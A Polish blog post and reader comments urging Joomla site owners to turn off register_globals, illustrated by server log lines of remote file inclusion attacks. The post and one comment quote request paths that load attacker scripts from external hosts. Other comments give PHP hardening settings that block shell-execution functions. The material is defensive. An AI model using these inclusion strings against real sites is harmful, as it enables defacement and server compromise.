Drodzy posiadacze stron zbudowanych w Joomla! Do was kieruję ten wpis. Mamy lato, a to nic innego, jak sezon ataków na serwisy zbudowane w Joomla! Nie dajcie się zaskoczyć! Wierzcie mi, że to żadna przyjemność wejść pod własny adres i zamiast strony zobaczyć podpis Turka, jakiś gif i Bóg wie co jeszcze. Temat na własnej skórze przerobiłem i to sześciokrotnie. Nie lekceważcie kwestii bezpieczeństwa swoich witryn.
Wszyscy myślą podobnie: "a kto niby miałby włamywać się na moją stronę? Przecież jest dużo więcej bardziej atrakcyjnych dla hackerów stron. Dlaczego mieliby atakować moją?". No właśnie: dlaczego? A może dlatego, aby połechtać swoją próżność. A może dlatego, aby zdobyć kolejne punkty w rankingu najskuteczniejszych hakierów?
Dobra, do rzeczy. Jak już wspomniałem, na własnej skórze doświadczyłem sześciu skutecznych ataków, a poza tym kilka razy (ostatnio wczoraj) pomagałem pozbierać się właścicielom innych stron, którzy także mieli okazję gościć przybysza z Turcji (tak przynajmniej owi dżentelmeni się podpisują).
Wszystkie "zdobyte" serwisy miały wspólny mianownik: serwer, na którym były zainstalowane, nie spełniał zaleceń Joomla!. Chodzi o funkcję Register_Globals, która pozwala na wykonywanie zmiennych globalnych. Jeśli Twój serwer ma włączoną tę funkcję (Register_Globals = ON), to w każdej chwili ktoś Ci może wyciąć numer. Nawet ja.
Popatrz na to:
81.214.161.185 - - [28/Mar/2007:23:32:36 +0200] "GET /administrator/components/com_contact/toolbar.contact.php?mosConfig_absolute_path=http://www.************.us/*****.txt? HTTP/1.1" 200 29 "-" "Microsoft URL Control – 6.01.9782"
Oto tylko jedna linia logu serwera. Mojego serwera i mojej strony, której strona główna została bezczelnie podmieniona dnia 28 marca bieżącego roku. Register_Globals była włączona, bo administrator uparł się, że mają własne triki zapewniające bezpieczeństwo serwisów, dzięki którym do tej pory nie odnotowali żadnego ataku na postawiony na ich serwerach CMS Joomla!. Odpuściłem, no bo cóż: skoro facet tak mówi, to pewnie wie co mówi. To było niedługo po zmianie serwera, bo na poprzednim zaliczyłem 5 ataków (w tym trzy w ciągu czterech dni) i admin wyłączył RG.
Zajmijmy się teraz najważniejszym fragmentem powyższej linijki z logu.
/administrator/components/com_contact/toolbar.contact.php?mosConfig_absolute_path=http://www.************.us/*****.txt?
Co widać? A widać znajomy katalog "administrator", dalej również doskonale znany katalog "components", następny katalog "com_contact" także nie jest nikomu obcy (zobacz, u Ciebie też jest), a dalej plik "toolbar.contact.php". Też go masz, sprawdź! A dalej... no właśnie: co to się do niego przykleiło? Albo raczej: kto, co i dlaczego to przykleił?
Gdybym wpisał adres Twojej strony, a po nim powyższy fragment (zaczynając od "administrator", a na znaku zapytania skończywszy), to z Twoją stroną stałoby się dokładnie to samo, co z moją. Czyli: zamiast strony głównej swojego serwisu zobaczyłbyś kretyńską czaszkę z kretyńskimi napisami na równie kretyńskim tle, a do tego grała by jeszcze bardziej kretyńska melodyjka. Ale to jeszcze nie wszystko! Najbardziej kretyńskim w tym wszystkim byłby apel o zaprzestanie prześladowania Osamy bin Ladena!
Atakujący skorzystał z jednego z plików Joomla! (w tym przypadku był to toolbar.contact.php, ale wykorzystać można każdy inny) i za pomocą tego pliku odpalił swój skrypt zawarty w pliku tekstowym.
Uprzedzając pytania: nie znam więcej szczegółów. Ściągnąłem ten plik .txt (adres serwera i nazwę pliku na wszelki wypadek wygwiazdkowałem) i kilka dni leżał sobie na dysku. Kiedy po raz pierwszy zajrzałem do niego, zobaczyłem trochę php, trochę html i trochę nieznanego. Wszystko było zbyt zagmatwane, abym ze swoją wiedzą mógł to rozgryźć, toteż postanowiłem wysłać ten plik znajomemu programiście (pozdrawiam, Martin :) ). Tak się złożyło, że niedługo po tym przełączyłem sie na Windows (normalnie korzystam z Linuksa) i siedząc na tej "Windzie" zechciałem jeszcze raz zajrzeć do tego pliku. Wystarczyło musnąć go kursorem, aby antywirus zaczął się wydzierać, że właśnie usunął trojana. I po pliku. Jako, że ten mój znajomy używa Windowsa, natychmiast ostrzegłem go przed tym plikiem (bo jeszcze pomyśli, że chciałem mu konika trojańskiego podrzucić i co wtedy? ;) ) Tak czy siak okazało się, że te tajemnicze ciągi znaków, to jakiś niebezpieczny kod.
Wróćmy do kwestii ataku.
...toolbar.contact.php?mosConfig_absolute_path=http://itd. To przykład wywołania zmiennej globalnej. W ten sposób można wykonywać pliki znajdujące się na zewnętrznych serwerach zarówno w dobrych, jak i niecnych celach. Jest to możliwe, kiedy zmienna Register_Glonals jest włączona. A na większości serwerów jest, bowiem korzystają z tego m.in. bardzo popularne sklepy internetowe.
Jednak CMS-owi Joomla! do niczego działająca Register_Globals nie jest potrzebna, a wręcz przeciwnie:
"Register_Globals = ON" znaczy dokładnie tyle, co lokaj, któremu kazałeś wpuszczać każdego, kto zapuka do drzwi.
Dla Joomla Register_Globals musi być wyłączona. Pamiętaj: "Register_Globals ma być OFF" - i z wbiciem sobie tego do głowy nie czekaj do chwili ataku na Twoją stronę. Niby nie odnotowano jakiś większych szkód spowodowanych tego typu atakami, ale do stracenia i tak jest sporo:
- nerwy
- prestiż witryny
- użytkownicy/potencjalni klienci
- czas. Twój cenny czas
Po serii ataków z zeszłego roku, twórcy Joomla zrobili ukłon w stronę zapominalskich i ignorantów umieszczając w Panelu Administracyjnym przypomnienie o konieczności wyłączenia Register_Globals: już nie tylko podczas instalacji Joomla informuje o nieprawidłowej konfiguracji serwera, ale też podczas użytkowania. Jeśli w panelu administracyjnym widzisz czerwony komunikat na żółtym tle informujący o nieprawidłowym ustawieniu RG – napisz do obsługi swojego hostingu. Rzuć im nawet linkiem do tego wpisu.
Gdybym to ja pisał tłumaczenie do Joomla, to już na etapie instalatora komunikat dotyczący zalecanego ustawienia RG wyglądałby tak: "Register_Globals ma być OFF, bo inaczej dojadą cię Turki" - albo jeszcze dobitniej. Bo prawda jest taka, że większość podchodzi do sprawy zalecanych ustawień PHP tak: "Po co zmieniać? Przecież działa."
Działa do czasu, aż Turcy odpalą działa. Wtedy biedni webmasterzy podnoszą lament na forach, że Joomla jest dziurawa jak sito (albo durszlak), że nikt im nie powiedział jak się zabezpieczyć itd.
Jeśli instalator mówi, że ma być TAK, to znaczy, że ma być TAK, a nie siak. Joomla to potężne oprogramowanie i wymaga pewnych zabiegów, aby środowisko pracy było optymalne. Zmiana ustawień serwera to żaden problem: można wybiórczo dla konkretnych subdomen zmieniać ustawienia, więc nie krępujcie się i nalegajcie, aby administratorzy Waszych serwerów dostosowywali konfigurację do zalecanej przez programistów Joomla.
Latem zeszłego roku była prawdziwa plaga ataków na serwisy postawione na Joomla lub Mambo. Czytałem uważnie zażalenia poszkodowanych (z niektórymi rozmawiałem via PW) i wszystkie przypadki opierały się o ten sam schemat. Teraz znowu nadeszło lato, wakacje i zaczyna się... w statystykach mojej strony z dnia na dzień przybywa wejść z wyszukiwarek, gdzie odwiedzający wpisują frazy w stylu "włamali mi się na stronę Joomla" - stąd właśnie pomysł na ten wpis. Nie lekceważcie bezpieczeństwa swoich serwisów.
Warto przeczytać: 10 najgłupszych tricków administratora Joomla
http://forum.joomla.pl/archive/index.php?t-3994.html
Dodam od siebie, że w moim ".htaccess" jest jeszcze dodatkowo linijka:
php_flag register_globals off
Powyższa linijka powoduje wyłączenie zmiennej RG dla wszystkich plików php wykonywanych w katalogach serwisu. Czyli rozwiązuje problem, o którym pisze autor tego artykułu.
Taką mam przynajmniej nadzieję. :)
mozna, ale nie na wszystkich serwerach sie da. Podono tylko w przypadku php5 a w kazdym badz razie probowalem kiedys zmienic RG w .htaccess to wywalalo mi wew. bład serwera 500.
Wniosek jest prosty: chcesz się czuć bezpieczny i spać beztrosko, musisz wybulić :/, albo znaleźć bezpieczny serwer dostosowany do serwisów opartych na Mambo/Joomla.
register_globals = 0
disable_functions = show_source, system, shell_exec, passthru, exec, phpinfo, popen, proc_open
allow_url_fopen = 0
magic_quotes_gpc = 1
safe_mode = 1
Pozdrawiam i częściej będę tu zaglądał
2. Oprócz register_globals=off warto jeszcze zmienić allow_url_fopen na off, i allow_url_include też na off, to kolejne po register_globals największe głupoty w PHPie.
3. I jeszcze jedno, wybierzcie maksymalnie duży podzbiór poniższego:
disable_functions = php_uname, getmyuid, getmypid, passthru, leak, listen, diskfreespace, tmpfile, link, ignore_user_abord, shell_exec, dl, set_time_limit, exec, system, highlight_file, source, show_source, fpaththru, virtual, posix_ctermid, posix_getcwd, posix_getegid, posix_geteuid, posix_getgid, posix_getgrgid, posix_getgrnam, posix_getgroups, posix_getlogin, posix_getpgid, posix_getpgrp, posix_getpid, posix, _getppid, posix_getpwnam, posix_getpwuid, posix_getrlimit, posix_getsid, posix_getuid, posix_isatty, posix_kill, posix_mkfifo, posix_setegid, posix_seteuid, posix_setgid, posix_setpgid, posix_setsid, posix_setuid, posix_times, posix_ttyname, posix_uname, proc_open, proc_close, proc_get_status, proc_nice, proc_terminate, phpinfo
Oczywiście YMMV.
Pozdrawiam i życzę jak najmniej PHPa ;-)
Szuman, dzięki za dobry artykuł, Ty to jakiś weteran jesteś... 6 razy! Może słowa poszkodowanego zadziałają lepiej niż informacje świecące na czerwono i wielokrotnie maglowane na forum. Miejmy nadzieję, że tak. Swoją drogą to jednak chyba komuś musiałeś podpaść ;) - nie ważne jak się podpisuje.
Błąd 500 wzmiankowany wcześniej najprawdopodobniej bierze się z jakiegoś skryptu, który wymaga RG - ma tak nie jeden z popularniejszych skryptów e-commerce (nie VM), ale zdarzają się też takie potworkowate rozszerzenia dla Joomla!
Równie dobrze można się czepiać konstruktorów, że bolidy F1 nie radzą sobie w terenie.
@Viking
hehe, z tym weteranem to trochę przesada ;) pierwszy atak, to nawet nie wiedzialem co sie stało, po drugim zaktualizowałem Joomla (chyba do 1.0.10), ataki nr 3,4 i 5 nastąpiły w przeciągu czterech dni i wtedy właśnie wyłączyłem RG. Szósty atak, to marzec tego roku, po zmianie serwera prosiłem o wyłączenie Register_Globals, ale goście z supportu uparli sie, że mają własny "security system" i jeszcze nie było u nich włamań na Joomla. No i po włamaniu support dostał kawałek logu z czasu ataku, link do obszernego wyjaśnienia wpływu RG na bezpieczeństwo i wyłączyli. Fajne było to, że niedługo po tym na wszystkich serwerach wyłączyli RG :)
php_flag register_globals off
przed ta linijka musi byc enter czyli pusta linia. Pozdrawiam i dzieki za artykuł. Bardzo mi pomogł bo jestem w trakcie budowy swojej pierwszej stronki i pewnie bym zlekcewazyl sprawe register-globals :-P
zrobiłem tak jak piszesz na nazwa.pl ale po wrzuceniu takiego htaccess ale nie działa :(
jeśli zrobiłeś tak, jak radził Michał B. to musi działać (wiem, bo to samo robiłem na nazwie.pl).
W .htaccess na końcu:
php_flag register_globals off
a przed tym wpisem pusta linia (Enter). Musi działać, próbuj :)
M.
włam mozna zobaczyc tu www.erotoman.website.pl, a strona tego kuta... to http://www.turk-h.org/webmasters moja strona to najnowsze jego hackowanie.Prosze o pomoc.
Ostanio mialem ataki Phishing PayPal na 1 z nich i telefon z USA w tej sprawie z firmy 'Internet Identity'. teraz naprawione.
kolejne wlamania z ktorym sie nie moge uporac to druga strona ktora trafila na liste: phishtank.com
po logach widze ze ciagle byly wywolywane jakies dziwne adresy:
1) templates/archzone/css/indexs.html
2) mambots/content/multithumb/multithumb.php?mosConfig_absolute_path=http://2006.aninite.at/mambots/test.txt??
3) index2.php?option=com_content&do_pdf=1&id=29/index.php?option=com_content&task=§ionid=&id=&mosConfig_absolute_path=http://forumsupport.terra.co.id/Packages/test.txt??
wstawiali tez na serwer pliki:
tempaltes/system/paypal.de
media/ paypal itp.
da sie wogule przy pomocy tej zmiennej wgrac coskolwiek na serwer ???
prosze o pomoc..
od kilku 2 lat wdrazam strony na joomla i zawsze ok.
wyłącz ją, jeśli jest to możliwe.
Czy da się tym sposobem coś wrzucić na serwer? Tak. Czytałes w ogóle ten wpis, czy tylko wszedłeś tu i od razu opisałeś się w komentarzu?
zmienna register globals jest WYŁĄCZONA NA SERWERZE. jest to ogolne ustawienie tego serwera.
zainstalowalem nowa joomla i jestem ciekaw czy atak sie powtorzy... ;/
a moze w httacces cos jeszcze ustawic ?
prosze o pomoc,
dziekuje
Nową? To znaczy że miałeś nieaktualną wersję Joomli zawierającą znane błędy bezpieczeństwa?
ciekae czy ciag znakow ktory wpisuja jakies roboty znowy spowoduje wlamanie.
A słyszałeś o czymś takim jak UAKTUALNIENIE? :]
Z resztą jest jeszcze taki sęk, że serwer globalnie może sobie mieć, ale Joomla czasem robi swoje i lubi sobie emulować jakieś rzeczy (w tym RG=ON), albo zawłaszczać prawa do katalogów i plików. Nie patrz na globalne, ale na to, co mówi PA w info o konfiguracji.
tylko ja jestem zwolennikiem Joomla wiec nie mow ze ja cos tam gadam na tego CMS-a. "teraz instaluje najnowszą na wlasne ryzyko....." - gdy ci admin zablokuje 4 razy serwer, to zrozumiesz.
Ja nie mieszcze sie w profilu 15-letniego lamusa, nie pisze na forach "pomocy", nie tworze stron za 50zł na allegro, nie pisze do ciebie na maila i nie truje dupy "pomoz mi bo sie wlamali". z tym ostatnim tekstem nie trafiles.
Stwierdzam jedynie brak profesjonalizmu, bo jak inaczej nazwać utrzymywanie wersji 1.5.1, kiedy dostępna jest 1.5.12? Lenistwem? Olewaniem? Jedno i drugie sprowadza się do amatorszczyzny.
Rozumiem, że można sobie odpuścić update o niższym priorytecie, ale wśrod jedenastu przegapionych przez Ciebie aktualizacji kilka było krytycznych.
Ryzykować można własnymi stronami, a nie swoich klientów. I to właśnie oni później gadają że system jest do bani, bo swoje osądy opierają na widocznych efektach. Chyba, że admin, który zawalił, przyzna się do winy.
dziekuje.
p.s kiedys joomla dawala czerwone komunikaty, one chyba powinny nadal obowiazywac dla takich jak ja i mowic, "zrob aktualke". hehe.